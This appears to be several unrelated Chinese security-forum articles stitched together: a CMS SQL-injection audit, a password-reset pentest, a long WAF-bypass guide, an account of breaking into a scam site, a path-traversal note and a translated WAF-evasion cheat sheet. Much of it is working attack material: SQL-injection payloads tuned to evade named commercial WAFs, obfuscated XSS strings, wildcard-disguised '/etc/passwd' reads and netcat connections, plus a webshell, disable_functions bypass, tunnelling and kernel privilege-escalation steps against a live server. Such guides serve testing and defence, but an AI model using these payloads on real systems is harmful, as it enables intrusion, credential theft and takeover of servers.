[](./img/4736010698034267149.png
"10")
[](./img/3017088153791851526.png
"11")
看到文件中包含多个将 **motor_id**
拼接入内的sql查询语句，均未使用单/双引号包裹，参数也未经过任何过滤函数，因此可以判断存在注入。接下来我们需要寻找SQL注入的回显地点，上面三张图中
**第191行 第289行 第343行** 分别使用变量接受了SQL查询结果 选取最后一个一个为例子，参数 **$cpr_image_mail**
接受了函数 **mysqli_fetch_array** 读取的MySQL返回结果，并假设其中存在以 **FILE_NAME**
为数组键的数组值，将数组值赋给了变量 **$cpr_image_single** ，跟进
[](./img/2414740444560198207.png
"cpr_image_single")
在代码 **第350行** 中，参数 **$cpr_image_single** 在hidden型的input输入框中作为输入值在 **第347行**
提交给了 **smtp_info.php** ，抓包即可获取发送数据得到SQL注入的信息回显。
### 修复
SQL注入的修复我认为要从SQL注入的成因开始针对，本漏洞中成因简单的不能再简单，在拼接入SQL语句的时候没有进行单/双/反引号的闭合，对变量也没有进行消毒处理，根据此原因，首先在SQL查询语句中使用双引号包裹变量之外，还要对用户输入变量进行消毒处理，给出的修复代码如下:
`if(isset($_GET['car_id'])) { $motor_id =
mysqli_real_escape_string($_GET['car_id']); //$motor_id =
PDO::quote($_GET['car_id']); ...... }`
**mysqli_real_escape_string**
函数的作用是过滤字符串参数中的非法字符，[MySQL官方文档](http://php.net/manual/en/mysqli.real-escape-string.php)中给出定义：
[](./img/3755308085343837448.png
"mysqli_real_escape_string")
同时还要补充两点：一是应避免使用GBK编码数据库，以免造成宽字节注入。二是由于在写入数据库的时候写入的是原始信息，所以在获取数据库查询信息的时候也应该调用此函数进行消毒处理，以免造成二次注入。
### 总结
整体看漏洞触发链比较短，产生原因也是最简单的原因，但是作为一个学习过程的开始还算合适。本篇文章主要秉承着将最细节的地方搞清楚的原则写成，现在看来主要在Poc分析的时候细节比较多，下次要选择一个漏洞触发链长或者是触发条件苛刻的CMS来审计。自己也是第一次脱离网上的任何现有文章，所以难免会有一些错误和文笔不通顺，如果哪位师傅看到了还烦请指正小弟，感激不尽。 | 社区文章 |
## 一、前言
遇到一个传输过程数据被加密的网站，无法重放改包，前端也做了较为严格的限制，测试一度陷入僵局，最终从js找到突破点拿到web后台管理员权限
## 二、过程
网站前端操作逻辑由js控制，首次请求返回内容为静态资源调用，随后js向页面填充内容
传输过程对数据做了加密处理
### 2.1 敏感信息泄漏
前端逻辑由js控制，全网站请求路径及参数构造方式明文出现在js中，打开开发者工具即可看见敏感信息
通过jsfinder对调用的38个js进行匹配，发现779条url
再放入burp做存活探测，263个地址可以直接被访问到，如果后端鉴权功能不完善，则可能存在大量未授权访问
### 2.2 任意用户密码修改
泄漏地址中`/xx-password`可疑，是一个密码修改的web，访问后填写数据后点击确定，没有请求发出，但登录后再测试能正常修改密码，存在问题：
* 用于用户初次登陆强制修改密码的接口未做限制，导致可在登录状态下不输入原密码即可修改新密码
随后手动点击logout后再次测试便可以发出请求，多次测试确认与cookie相关，登陆成功后服务器下发cookie，前端js会提取该cookie生成一个新的请求头`Access-Token`用于身份鉴别，当未能从cookie中提取token时便不会进入处理流程就不会触发请求事件，所以未登录状态点击提交没有请求发出，登出后cookie未被删除依然可以生成token
继续测试，此时请求头已有一个失效的合法token，但返回用户类型错误，猜测传入参数还存在问题
但传输过程被加密，无法改包测试
只能从参数构造入手，找到button绑定click事件
进入函数，找到核心代码，`p()`函数传入密钥（t）和待加密数据（e）两个值，可以看到断点处此时`userId`和`userType`未绑定值，函数内使用sm2算法对密钥加密、aes算法对数据加密，然后分别放入`key`和`content`字段返回，这种结构类似https模型，使用非对称算法加密密钥、对称算法加密数据
理解了构造流程，尝试写入普通用户的`userID`和`userType`后放包，修改密码成功，猜测后端服务器只验证了token的真实性，便提取用户id进入修改密码流程，依此逻辑可以尝试遍历管理员id，但生产环境会造成大量账号无法登陆，最终由客户提供管理员id完成漏洞测试，成功修改管理员密码
拿到后台管理员账户权限
### 2.3 小结
js泄漏网站路径 --> 敏感业务未授权访问 --> 服务器弱鉴权机制 --> 参数构造方法透明 --> 获得web管理员权限
## 三、总结
从用户输入处的敏感字符检测到请求发送过程数据加密再到服务端响应内容加密，网站做了较为系统的安全防护，但忽略了一个重要的点是：js是透明的，该网站使用js驱动关键业务但未对代码做安全加固明文出现在页面中，运行逻辑完全可见，传输过程防护失效，整体安全性降低，同时大量敏感数据也出现在js代码中，连同后端不完善的权限设计，系统变得不再安全可靠，建议：
* 不要将敏感数据写入js代码中，如果因业务需要也应对代码进行加固（如：混淆、加密、反调试）后再投入生产环境 | 社区文章 |
原文链接：[先知技术社区](https://xianzhi.aliyun.com/forum/read/349.html)
Author：Tr3jer_CongRong Blog：www.Thinkings.org Mail：Tr3jer@gmail.com
### 0x00 前言
去年到现在就一直有人希望我出一篇关于waf绕过的文章，我觉得这种老生常谈的话题也没什么可写的。很多人一遇到waf就发懵，不知如何是好，能搜到的各种姿势也是然并卵。但是积累姿势的过程也是迭代的，那么就有了此文，用来总结一些学习和培养突破waf的思想。可能总结的并不全，但目的并不是讲那些网上搜来一大把的东西，So…并不会告诉大家现有的姿势，而是突破Waf
Bypass思维定势达到独立去挖掘waf的设计缺陷和如何实现自动化的Waf Bypass（这里只讲主流waf的黑盒测试）
### 0x01 搞起
当我们遇到一个waf时，要确定是什么类型的？先来看看主流的这些waf，狗、盾、神、锁、宝、卫士等等。。。（在测试时不要只在官网测试，因为存在版本差异导致规则库并不一致）
#### 1、云waf：
在配置云waf时（通常是CDN包含的waf），DNS需要解析到CDN的ip上去，在请求uri时，数据包就会先经过云waf进行检测，如果通过再将数据包流给主机。
#### 2、主机防护软件：
在主机上预先安装了这种防护软件，可用于扫描和保护主机（废话），和监听web端口的流量是否有恶意的，所以这种从功能上讲较为全面。这里再插一嘴，mod_security、ngx-lua-waf这类开源waf虽然看起来不错，但是有个弱点就是升级的成本会高一些。
#### 3、硬件ips/ids防护、硬件waf（这里先不讲）
使用专门硬件防护设备的方式，当向主机请求时，会先将流量经过此设备进行流量清洗和拦截，如果通过再将数据包流给主机。
再来说明下某些潜规则（关系）：
* 百度云加速免费版节点基于CloudFlare
* 安全宝和百度云加速规则库相似
* 创宇云安全和腾讯云安全规则库相似
* 腾讯云安全和门神规则库相似
* 硬件waf自身漏洞往往一大堆
当Rule相似时，会导致一个问题，就比如和双胞胎结婚晓得吧？嗯。
### 0x02 司空见惯
我们还需要把各种特性都记牢，在运用时加以变化会很有效果。
数据库特性：
* 注释：
#
-- -- - --+
//
/**/
/*letmetest*/
;
利用注释简单绕过云锁的一个案例：
拦截的，但/ **/ > 1个就可以绕过了，也就是/**//**/以上都可以。
* 科学记数法：
* 空白字符：
SQLite3 0A 0D 0C 09 20
MySQL5 09 0A 0B 0C 0D A0 20
PosgresSQL 0A 0D 0C 09 20
Oracle 11g 00 0A 0D 0C 09 20
MSSQL 01,02,03,04,05,06,07,08,09,0A,0B,0C,0D,0E,0F,10,11,12,13,14,15,16,17,18,19,1A,1B,1C,1D,1E,1F,20
* +号：
* -号：
* ``符号：
* ~号：
* !号：
* @`形式`：
* 点号.1：
* 单引号双引号：
* 括号select(1)：
试试union(select)云盾会不会拦截
* 花括号：
这里举一个云盾的案例，并附上当时fuzz的过程：
union+select 拦截
select+from 不拦截
select+from+表名 拦截
union(select) 不拦截
所以可以不用在乎这个union了。
union(select user from ddd) 拦截
union(select%0aall) 不拦截
union(select%0aall user from ddd) 拦截
fuzz下select%0aall与字段之间 + 字段与from之间 + from与表名之间 + 表名与末尾圆括号之间可插入的符号。
union(select%0aall{user}from{ddd}) 不拦截。
Bypass Payload：
1 union(select%0aall{x users}from{x ddd})
1 union(select%0adistinct{x users}from{x ddd})
1 union(select%0adistinctrow{x users}from{x ddd})
可运用的sql函数&关键字：
MySQL：
union distinct
union distinctrow
procedure analyse()
updatexml()
extracavalue()
exp()
ceil()
atan()
sqrt()
floor()
ceiling()
tan()
rand()
sign()
greatest()
字符串截取函数
Mid(version(),1,1)
Substr(version(),1,1)
Substring(version(),1,1)
Lpad(version(),1,1)
Rpad(version(),1,1)
Left(version(),1)
reverse(right(reverse(version()),1)
字符串连接函数
concat(version(),'|',user());
concat_ws('|',1,2,3)
字符转换
Char(49)
Hex('a')
Unhex(61)
过滤了逗号
(1)limit处的逗号：
limit 1 offset 0
(2)字符串截取处的逗号
mid处的逗号：
mid(version() from 1 for 1)
MSSQL：
IS_SRVROLEMEMBER()
IS_MEMBER()
HAS_DBACCESS()
convert()
col_name()
object_id()
is_srvrolemember()
is_member()
字符串截取函数
Substring(@@version,1,1)
Left(@@version,1)
Right(@@version,1)
(2)字符串转换函数
Ascii('a') 这里的函数可以在括号之间添加空格的，一些waf过滤不严会导致bypass
Char('97')
exec
Mysql BIGINT数据类型构造溢出型报错注入：BIGINT Overflow Error Based SQL Injection
http://www.thinkings.org/2015/08/10/bigint-overflow-error-sqli.html
容器特性：
* %特性：
asp+iis的环境中，当我们请求的url中存在单一的百分号%时，iis+asp会将其忽略掉，而没特殊要求的waf当然是不会的：
修复方式应该就是检测这种百分号%的周围是否能拼凑成恶意的关键字吧。
* %u特性：
iis支持unicode的解析，当我们请求的url存在unicode字符串的话iis会自动将其转换，但waf就不一定了：
修复过后：
这个特性还存在另一个case，就是多个widechar会有可能转换为同一个字符。
s%u0065lect->select
s%u00f0lect->select
WAF对%u0065会识别出这是e，组合成了select关键字，但有可能识别不出%u00f0
其实不止这个，还有很多类似的：
字母a：
%u0000
%u0041
%u0061
%u00aa
%u00e2
单引号：
%u0027
%u02b9
%u02bc
%u02c8
%u2032
%uff07
%c0%27
%c0%a7
%e0%80%a7
空白：
%u0020
%uff00
%c0%20
%c0%a0
%e0%80%a0
左括号(：
%u0028
%uff08
%c0%28
%c0%a8
%e0%80%a8
右括号)：
%u0029
%uff09
%c0%29
%c0%a9
%e0%80%a9
* 畸形协议&请求：
asp/asp.net： 还有asp/asp.net在解析请求的时候，允许application/x-www-form-urlencoded的数据提交方式，不管是GET还是POST，都可正常接收，过滤GET请求时如果没有对application/x-www-form-urlencoded提交数据方式进行过滤，就会导致任意注入。
php+Apache：
waf通常会对请求进行严格的协议判断，比如GET、POST等，但是apache解析协议时却没有那么严格，当我们将协议随便定义时也是可以的：
PHP解析器在解析multipart请求的时候，它以逗号作为边界，只取boundary，而普通解析器接受整个字符串。
因此，如果没有按正确规范的话，就会出现这么一个状况：首先填充无害的data，waf将其视为了一个整体请求，其实还包含着恶意语句。
------,xxxx
Content-Disposition: form-data; name="img"; filename="img.gif"
GIF89a
------ Content-Disposition: form-data; name="id"
1' union select null,null,flag,null from flag limit 1 offset 1-- - -------- ------,xxxx--
通用的特性：
* HPP：
HPP是指HTTP参数污染-HTTP Parameter Pollution。当查询字符串多次出现同一个key时，根据容器不同会得到不同的结果。
假设提交的参数即为：
`id=1&id=2&id=3`
Asp.net + iis：id=1,2,3
Asp + iis：id=1,2,3
Php + apache：id=3
* 双重编码：
这个要视场景而定，如果确定一个带有waf的site存在解码后注入的漏洞的话，会有效避过waf。
unlencode
base64
json
binary
querystring
htmlencode
unicode
php serialize
* 我们在整体测试一个waf时，可测试的点都有哪些？
GET、POST、HEADER那么我们专门针对一个waf进行测试的时候就要将这几个点全测试个遍，header中还包括Cookie、X-Forwarded-For等，往往除了GET以外其他都是过滤最弱的。
#### 0x03 见招拆招
“正则逃逸大法”：或许大家没听说过这个名词，因为是我起的。我发现很多waf在进行过滤新姿势的时候很是一根筋，最简单的比方，过滤了%23%0a却不过滤%2d%2d%0a？上面提到八成的waf都被%23%0a所绕过。
科学计数法1union、1from？多次被坑的安全宝&百度云加速&Imperva：
过滤了union+select+from，那我select+from+union呢？使用Mysql自定义变量的特性就可以实现，这里举一个阿里云盾的案例：
由于后面在调用自定义变量的时候需要用到union+select，所以还需要绕过这个点。/ _ddd_ /union/ _ddd_ /select 就可以了。
Bypass Payload：
如何做到通过推理绕过waf？这里举一个腾讯云安全的案例：
绕过思路: 首先看看腾讯云安全怎么检测sql注入的，怎么匹配关键字会被拦截，怎么匹配不会?
* union+select拦截
* select+from拦截
* union+from不拦截
那么关键的点就是绕过这个select关键字
* select all
* select distinct
* select distinctrow
既然这些都可以，再想想使用这样的语句怎么不被检测到？select与all中间肯定不能用普通的`/**/`这种代替空格，还是会被视为是union+select。select
all可以这么表达`/*!12345select all*/`，腾讯云早已识破这种烂大街的招式。尝试了下/ _!_ /中间也可以使用%0a换行。
`*!12345%0aselect%20all*/`还是会被拦截，这就说明腾讯云在语法检测的时候会忽略掉数字后面的%0a换行，虽然属于union+12342select，但简单的数字和关键字区分识别还是做得到。再测试`/*!12345select%0aall*/`，结果就合乎推理了，根据测试知道腾讯云安全会忽略掉%0a换行，这就等于union+12345selectall，
不会被检测到。（忽略掉%0a换行为了过滤反而可以用来加以利用进行Bypass）
可能会问，推理的依据并不能真正意义上证明忽略掉了%0a啊？当然要证明下啊，`/*!12345%0aselect%0aall*/`
就被拦截了，说明刚开始检测到12345%0aselect就不再检测后方的了，union+12345select就已经可以拦截掉了。
还可能会问，既然忽略掉了%0a，那么/ _!select%0aall_ /是不是也可以啊，然而并不行。合理的推理很有必要。
Bypass Payload:
1' union/*!50000select%0aall*/username from users%23
1' union/*!50000select%0adistinct*/username from users%23
1' union/*!50000select%0adistinctrow*/username from users%23
不是绕不过狗，只是不够细心：
union+select拦截。
select+from拦截。
union+from不拦截。
fuzz了下/*!50000select*/这个5位数，前两位数<50 && 第二位!==0 && 后三位数==0即可bypass。(一点细节也不要放过。)
测试环境
Windows Server 2008 + APACHE + PHP + Mysql Bypass Payload:
1' union/*!23000select*/user,password from users%23
这里证明一个观点：好姿势不是死的，零零碎碎玩不转的姿势巧妙的结合一下。所以说一个姿势被拦截不代表就少了一个姿势。
#### 0x04 别按套路出牌
云锁版本迭代导致的 & 360主机卫士一直存在的问题：
注意POST那个方向，waf在检测POST传输的数据过程中，没有进行URL的检测，也就是说waf会认为URL上的任何参数信息都是正常的。既然是POST请求，那就只检测请求正文咯。(神逻辑)
在标准HTTP处理流程中，只要后端有接收GET形式的查询字段，即使客户端用POST传输，查询字符串上满足查询条件时，是会进行处理的。（没毛病）
点睛之图:)
当waf成了宕机的罪魁祸首是什么样的？举一个安全狗的案例：
/*66666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666*/
注释中包含超长查询字符串，导致安全狗在识别的过程中挂掉了，连带着整个机器Service Unavailable：
再举一个云锁也是因为数据包过长导致绕过的案例：
云锁在开始检测时先判断包的大小是否为7250byte以下，n为填充包内容，设置n大小为2328时，可以正常访问页面，但是会提示拦截了SQL注入
当数据包超过2329时就可以成功绕过，2329长度以后的就不检测了。？
#### 0x05 猥琐很重要
这里讲个有意思的案例，并且是当时影响了安全宝、阿里云盾的姿势：
有次睡前想到的，emoji图标！是的，平时做梦并没有美女与野兽。当时只是随便一想，第二天问了5up3rc，他说他也想过，但测试并没有什么效果。
emoji是一串unicode字集组成，一个emoji图标占5个字节，mysq也支持emoji的存储，在mysql下占四个字节:
既然在查询的时候%23会忽略掉后面的，那么Emoji就可以插入到%23与%0A之间。再加多试了试，成功绕过了，200多个emoji图标，只能多，但少一个都不行。。。
可能会说，这是因为超⻓查询导致的绕过吧?并不是。
这么⻓，mysql也是会执行的:
我们再来测试阿里云盾：
绕过了。。。事情还没看起来这么简单。
当缩少emoji数量的话会拦截，想想还是再加多些试试:
还是拦截，那刚才的没拦截是怎么回事?点根烟，逐一进行排查。发现能绕过的原因和emoji数量无关，而是某个emoji可以。
就是这个愤怒的emoji，其他的emoji都不行。唯独愤怒脸可以:
将这些emoji进行urlencode看看特征，究竟是什么原因?看看哪些emoji插入不会被拦截:
有些emoji进行urlencode后是很⻓的，因为是几个emoji进行组合的。
将这些payload进行注入进去。
难道只有这个愤怒脸插入进去就可以绕过?也不能这么说，我发现能绕过的字符都是ascii码超过了127的字符：
那为什么愤怒脸的emoji可以?这里提到emoji的特征，常⻅的emoji是四位组成，前三位多数是一致的，把这三位插入payload试试:
可以实现绕过，再来看看愤怒脸的urlencode:
最后一位是%a0，那么也就是说完全可以忽略掉最后一位，而多数emoji第四位是 < ascii 127的，所以达到绕过的只是 > ascii
127的字符，会导致waf引擎无法检测。
我是个技术人，虽然这是异想天开没有任何根据的想法，但仍愿意去尝试。courage to try！
#### 0x06 自动化Bypass
首先总结下sqlmap的各种bypass waf tamper：
apostrophemask.py 用UTF-8全角字符替换单引号字符
apostrophenullencode.py 用非法双字节unicode字符替换单引号字符
appendnullbyte.py 在payload末尾添加空字符编码
base64encode.py 对给定的payload全部字符使用Base64编码
between.py 分别用“NOT BETWEEN 0 AND #”替换大于号“>”，“BETWEEN # AND #”替换等于号“=”
bluecoat.py 在SQL语句之后用有效的随机空白符替换空格符，随后用“LIKE”替换等于号“=”
chardoubleencode.py 对给定的payload全部字符使用双重URL编码（不处理已经编码的字符）
charencode.py 对给定的payload全部字符使用URL编码（不处理已经编码的字符）
charunicodeencode.py 对给定的payload的非编码字符使用Unicode URL编码（不处理已经编码的字符）
concat2concatws.py 用“CONCAT_WS(MID(CHAR(0), 0, 0), A, B)”替换像“CONCAT(A, B)”的实例
equaltolike.py 用“LIKE”运算符替换全部等于号“=”
greatest.py 用“GREATEST”函数替换大于号“>”
halfversionedmorekeywords.py 在每个关键字之前添加MySQL注释
ifnull2ifisnull.py 用“IF(ISNULL(A), B, A)”替换像“IFNULL(A, B)”的实例
lowercase.py 用小写值替换每个关键字字符
modsecurityversioned.py 用注释包围完整的查询
modsecurityzeroversioned.py 用当中带有数字零的注释包围完整的查询
multiplespaces.py 在SQL关键字周围添加多个空格
nonrecursivereplacement.py 用representations替换预定义SQL关键字，适用于过滤器
overlongutf8.py 转换给定的payload当中的所有字符
percentage.py 在每个字符之前添加一个百分号
randomcase.py 随机转换每个关键字字符的大小写
randomcomments.py 向SQL关键字中插入随机注释
securesphere.py 添加经过特殊构造的字符串
sp_password.py 向payload末尾添加“sp_password” for automatic obfuscation from DBMS logs
space2comment.py 用“/**/”替换空格符
space2dash.py 用破折号注释符“–”其次是一个随机字符串和一个换行符替换空格符
space2hash.py 用磅注释符“#”其次是一个随机字符串和一个换行符替换空格符
space2morehash.py 用磅注释符“#”其次是一个随机字符串和一个换行符替换空格符
space2mssqlblank.py 用一组有效的备选字符集当中的随机空白符替换空格符
space2mssqlhash.py 用磅注释符“#”其次是一个换行符替换空格符
space2mysqlblank.py 用一组有效的备选字符集当中的随机空白符替换空格符
space2mysqldash.py 用破折号注释符“–”其次是一个换行符替换空格符
space2plus.py 用加号“+”替换空格符
space2randomblank.py 用一组有效的备选字符集当中的随机空白符替换空格符
unionalltounion.py 用“UNION SELECT”替换“UNION ALL SELECT”
unmagicquotes.py 用一个多字节组合%bf%27和末尾通用注释一起替换空格符
varnish.py 添加一个HTTP头“X-originating-IP”来绕过WAF
versionedkeywords.py 用MySQL注释包围每个非函数关键字
versionedmorekeywords.py 用MySQL注释包围每个关键字
xforwardedfor.py 添加一个伪造的HTTP头“X-Forwarded-For”来绕过WAF
看起来很全，但有个缺点就是功能单一，灵活程度面对当今的主流waf来说很吃力了。
鉴于多数waf产品是使用Rule进行防护，那么这里也不提什么高大上的机器学习。就是简单粗暴的fuzz。
提到系统的训练，鉴于多数waf产品是使用Rule进行防护，那么这里不说什么机器学习。来点简单粗暴有效果的修复方案：我把每个sql关键字比喻成“位”，将一个“位”的两边进行模糊插入各种符号，比如注释（#
— /**/）、逻辑运算符、算术运算符等等。
15年黄登在阿里云安全峰会提到的fuzz手法通过建立一个有毒标识模型，将将其插入到各种“位”，测试其waf。
在这基础上其实可以在更加全面的建立模型。因为我发现一个问题，常规绕过姿势都会被拦截。但是呢，稍加fuzz下其他“位”，做一些变通就又能绕过。最基本的一句注入语句就有这些位：
最常见的四种sql注入语句：select、update、insert、delete
有毒标识定义为n
“位”左右插入有毒表示那么就是x的n次幂
而且其他数据库也各有各的语法糖，次数量定义为y
如果再将其编码转换定位为m
其结果最少就得有：
Factor[((x^n)*4 + x*y)*m]
通常waf引擎先转换m后再去匹配，这个还是要看场景。还有关键字不止这些，稍微复杂一点的环境就会需要更多的关键字来注入，也就会需要fuzz更多的位。还没说特殊字符，根据系统含有特殊意义的字符等等，也要有所顾忌。
当前几个关键字达到绕过效果时，只需继续fuzz后面几个位即可。 还有就是传输过程中可测试的点：
因为当我们在传输的过程中导致的绕过往往是致命的，比如中间件的特性/缺陷，导致waf不能识别或者是在满足特定条件下的欺骗了waf。
#### 0x07 End
一写起来就根本停不起来，后期决定出一系列waf绕过文，例如文件上传、webshell防御、权限提升等Waf绕过。xss的bypass就算了，防不胜防…（如果又想到什么有趣的手法的话，我会以下面回帖的方式给大家）
[wafbypass_sql.pdf下载](https://xianzhi.aliyun.com/forum/attachment/big_size/wafbypass_sql.pdf)
* * * | 社区文章 |
今天朋友突然告诉我，某转买手机被骗了1200块钱，心理一惊，果然不出所料，那我来试试吧。。
要来了诈骗网站地址，打开是这种：
果断收集一下信息：（由于留言骗子返还朋友钱款，暂时给他留点面子，打点马赛克）
查看端口，一猜就是宝塔面板搭建，
开着80，那就访问一下：
从官网查找客服软件的教程。发现后台路径为：/admin
直接访问果然发现：
想也没想，直接admin：123456，没想到的是进去了哈哈哈：
下一步当然是getshell，找了一圈发现直接可编辑语言配置文件：
这里使用简单的一句话还给我封了ip丫的，看了一眼竟然用云盾，这骗子还有点安全意识，那只好祭出我的哥斯拉杀器（直接带bypass
function的，也好用对不）：
好家伙，禁用的函数如此之多，那行吧，绕过呗
文件管理时发现限制目录读取：
直接使用哥斯拉的目录访问绕过：
最后目录浏览时发现php存在多个版本，本人php5提权不太熟悉(哥斯拉不适用哈哈)，看见php7后果断找其他站点：
访问其他站点都能访问，解析ip都是这个，终于发现一个php7的
终于发现一个php7的，但是linux版本内核很新啊，看来提权是个麻烦：
而后不出所料，哥斯拉的函数绕过可执行命令：
执行后直接获取低权限shell：
是www用户，权限很低。
在目录下还发现了一个杀猪盘工具：框框
可以一键生成诈骗详情链接：
（现在大家知道不要相信qq微信交易的重要性了吧，这种杀猪盘很容易坑人）
最后根据收集到的数据库链接等信息准备进数据库里看一眼，哥斯拉的链接有问题：
于是搭建frp到骗子服务器访问：
信息：
由于www用户无法写入mysql目录.so文件，无法使用mysql提权。
sudo一直要使用www密码，结果也是无法使用sudo。
有suid位的命令如表，
/usr/bin/chage
/usr/bin/gpasswd
/usr/bin/newgrp
/usr/bin/mount
/usr/bin/su
/usr/bin/umount
/usr/bin/pkexec
/usr/bin/chfn
/usr/bin/chsh
/usr/bin/at
/usr/bin/sudo
/usr/bin/crontab
/usr/bin/passwd
/usr/sbin/grub2-set-bootflag
/usr/sbin/unix_chkpwd
/usr/sbin/pam_timestamp_check
/usr/lib/polkit-1/polkit-agent-helper-1
最后使用CVE-2018-18955
<https://www.freebuf.com/news/197122.html>
最后已将整理完的信息提交朋友和警方，就没再深入。 | 社区文章 |
一 .现象
在渗透测试过程中常有
<http://www.xxx.com/../../../../../../../etc/passwd 常有这种类型的攻击方式，但是在偶尔需要单独测试的时候使用浏览器或者curl>
命令并不能达到我们想要的效果，因为curl 还有浏览器从安全方面考虑 将这种url已经过滤了。
例如：
<http://192.168.146.13:3001/../../../../../../../../../etc/passwd>
就变成
<http://192.168.146.13:3001/etc/passwd>
比如文件遍历的漏洞确实存在
这时候使用curl命令
关键的../被截取了
使用浏览器
也是相同的现象
二 . 分析
不用多说，肯定是被curl和浏览器帮你做了安全过滤，防止你发出恶意请求
先来看curl的源码
curl 后期的版本 认为这种../ 是恶意的，根据/切割后检测具体路径的内容判别合法性。将其直接过滤掉了（详情可以比较7.29 和
7.54，7.29是可以使用的而 7.54 不行）
在来看浏览器，这里以chrome为例，将可以接受的字符都列在
const unsigned char kPathCharLookup[0x100] 这样一个数组中，最后对入参进行判断，符合合法输入字符。
对满足../类型的路径进行push，不会加入到发包的url value中，详情
因此chrome的话，如果输入<http://www.xxx.com/../../../../../../../../../etc/passwd，然后copy，再粘贴(url)出来就会发现已经被过滤掉了>
三 .总结
因此在自测或者初步测试的时候不建议通过浏览器或者curl，尤其是使用curl的时候一定要注意版本，如果版本较高的话很可能导致本应该发现的问题遗漏。
建议保持用python发送request,尽可能减少麻烦 | 社区文章 |
翻译文
> <https://github.com/0xInfection/Awesome-WAF>
### fuzz/爆破
* 字典
* [Seclists/Fuzzing](https://github.com/danielmiessler/SecLists/tree/master/Fuzzing).
* [Fuzz-DB/Attack](https://github.com/fuzzdb-project/fuzzdb/tree/master/attack)
* [Other Payloads](https://github.com/foospidy/payloads)
可能会被ban ip，小心为妙。
### 正则绕过
多少waf 使用正则匹配。
#### 黑名单检测/bypass
**Case** : SQL 注入
##### • Step 1:
**过滤关键词** : `and`, `or`, `union`
**可能正则** : `preg_match('/(and|or|union)/i', $id)`
* **被拦截的语句** : `union select user, password from users`
* **bypass语句** : `1 || (select user from users where user_id = 1) = 'admin'`
##### • Step 2:
**过滤关键词** : `and`, `or`, `union`, `where`
* **被拦截的语句** : `1 || (select user from users where user_id = 1) = 'admin'`
* **bypass语句** : `1 || (select user from users limit 1) = 'admin'`
##### • Step 3:
**过滤关键词** : `and`, `or`, `union`, `where`, `limit`
* **被拦截的语句** : `1 || (select user from users limit 1) = 'admin'`
* **bypass语句** : `1 || (select user from users group by user_id having user_id = 1) = 'admin'`
##### • Step 4:
**过滤关键词** : `and`, `or`, `union`, `where`, `limit`, `group by`
* **被拦截的语句** : `1 || (select user from users group by user_id having user_id = 1) = 'admin'`
* **bypass语句** : `1 || (select substr(group_concat(user_id),1,1) user from users ) = 1`
##### • Step 5:
**过滤关键词** : `and`, `or`, `union`, `where`, `limit`, `group by`, `select`
* **被拦截的语句** : `1 || (select substr(gruop_concat(user_id),1,1) user from users) = 1`
* **bypass语句** : `1 || 1 = 1 into outfile 'result.txt'`
* **bypass语句** : `1 || substr(user,1,1) = 'a'`
##### • Step 6:
**过滤关键词** : `and`, `or`, `union`, `where`, `limit`, `group by`, `select`, `'`
* **被拦截的语句** : `1 || (select substr(gruop_concat(user_id),1,1) user from users) = 1`
* **bypass语句** : `1 || user_id is not null`
* **bypass语句** : `1 || substr(user,1,1) = 0x61`
* **bypass语句** : `1 || substr(user,1,1) = unhex(61)`
##### • Step 7:
**过滤关键词** : `and`, `or`, `union`, `where`, `limit`, `group by`, `select`, `'`,
`hex`
* **被拦截的语句** : `1 || substr(user,1,1) = unhex(61)`
* **bypass语句** : `1 || substr(user,1,1) = lower(conv(11,10,36))`
##### • Step 8:
**过滤关键词** : `and`, `or`, `union`, `where`, `limit`, `group by`, `select`, `'`,
`hex`, `substr`
* **被拦截的语句** : `1 || substr(user,1,1) = lower(conv(11,10,36))`
* **bypass语句** : `1 || lpad(user,7,1)`
##### • Step 9:
**过滤关键词** : `and`, `or`, `union`, `where`, `limit`, `group by`, `select`, `'`,
`hex`, `substr`, `white space`
* **被拦截的语句** : `1 || lpad(user,7,1)`
* **bypass语句** : `1%0b||%0blpad(user,7,1)`
### 混淆 编码
**1\. 大小写**
**标准** : `<script>alert()</script>`
**Bypassed** : `<ScRipT>alert()</sCRipT>`
**标准** : `SELECT * FROM all_tables WHERE OWNER = 'DATABASE_NAME'`
**Bypassed** : `sELecT * FrOm all_tables whERe OWNER = 'DATABASE_NAME'`
**2\. URL 编码**
**被阻断语句** : `<svG/x=">"/oNloaD=confirm()//`
**Bypassed** : `%3CsvG%2Fx%3D%22%3E%22%2FoNloaD%3Dconfirm%28%29%2F%2F`
**被阻断语句** : `uNIoN(sEleCT 1,2,3,4,5,6,7,8,9,10,11,12)`
**Bypassed** :
`uNIoN%28sEleCT+1%2C2%2C3%2C4%2C5%2C6%2C7%2C8%2C9%2C10%2C11%2C12%29`
**3\. Unicode 编码**
**标准** : `<marquee onstart=prompt()>`
**混淆** : `<marquee onstart=\u0070r\u06f\u006dpt()>`
**被阻断语句** : `/?redir=http://google.com`
**Bypassed** : `/?redir=http://google。com` (Unicode 替代)
**被阻断语句** : `<marquee loop=1 onfinish=alert()>x`
**Bypassed** : `＜marquee loop＝1 onfinish＝alert︵1)>x` (Unicode 替代)
> **TIP:** 查看这些说明 [this](https://hackerone.com/reports/231444) and
> [this](https://hackerone.com/reports/231389) reports on HackerOne. :)
**4\. HTML 实体编码**
**标准** : `"><img src=x onerror=confirm()>`
**Encoded** : `"><img src=x onerror=confirm()>`
(General form)
**Encoded** : `"><img src=x onerror=confirm()>`
(Numeric reference)
**5\. 混合编码**
* Sometimes, WAF rules often tend to filter out a specific type of encoding.
* This type of filters can be bypassed by mixed encoding payloads.
* Tabs and newlines further add to obfuscation.
**混淆** :
<A HREF="h
tt p://6 6.000146.0x7.147/">XSS</A>
**7\. 双重URL编码**
* 这个需要服务端多次解析了url编码
**标准** : `http://victim/cgi/../../winnt/system32/cmd.exe?/c+dir+c:\`
**混淆** :
`http://victim/cgi/%252E%252E%252F%252E%252E%252Fwinnt/system32/cmd.exe?/c+dir+c:\`
**标准** : `<script>alert()</script>`
**混淆** : `%253Cscript%253Ealert()%253C%252Fscript%253E`
**8\. 通配符使用**
* 用于linux命令语句注入，通过shell通配符绕过
**标准** : `/bin/cat /etc/passwd`
**混淆** : `/???/??t /???/??ss??`
Used chars: `/ ? t s`
**标准** : `/bin/nc 127.0.0.1 1337`
**混淆** : `/???/n? 2130706433 1337`
Used chars: `/ ? n [0-9]`
**9\. 动态payload 生成**
**标准** : `<script>alert()</script>`
**混淆** : `<script>eval('al'+'er'+'t()')</script>`
**标准** : `/bin/cat /etc/passwd`
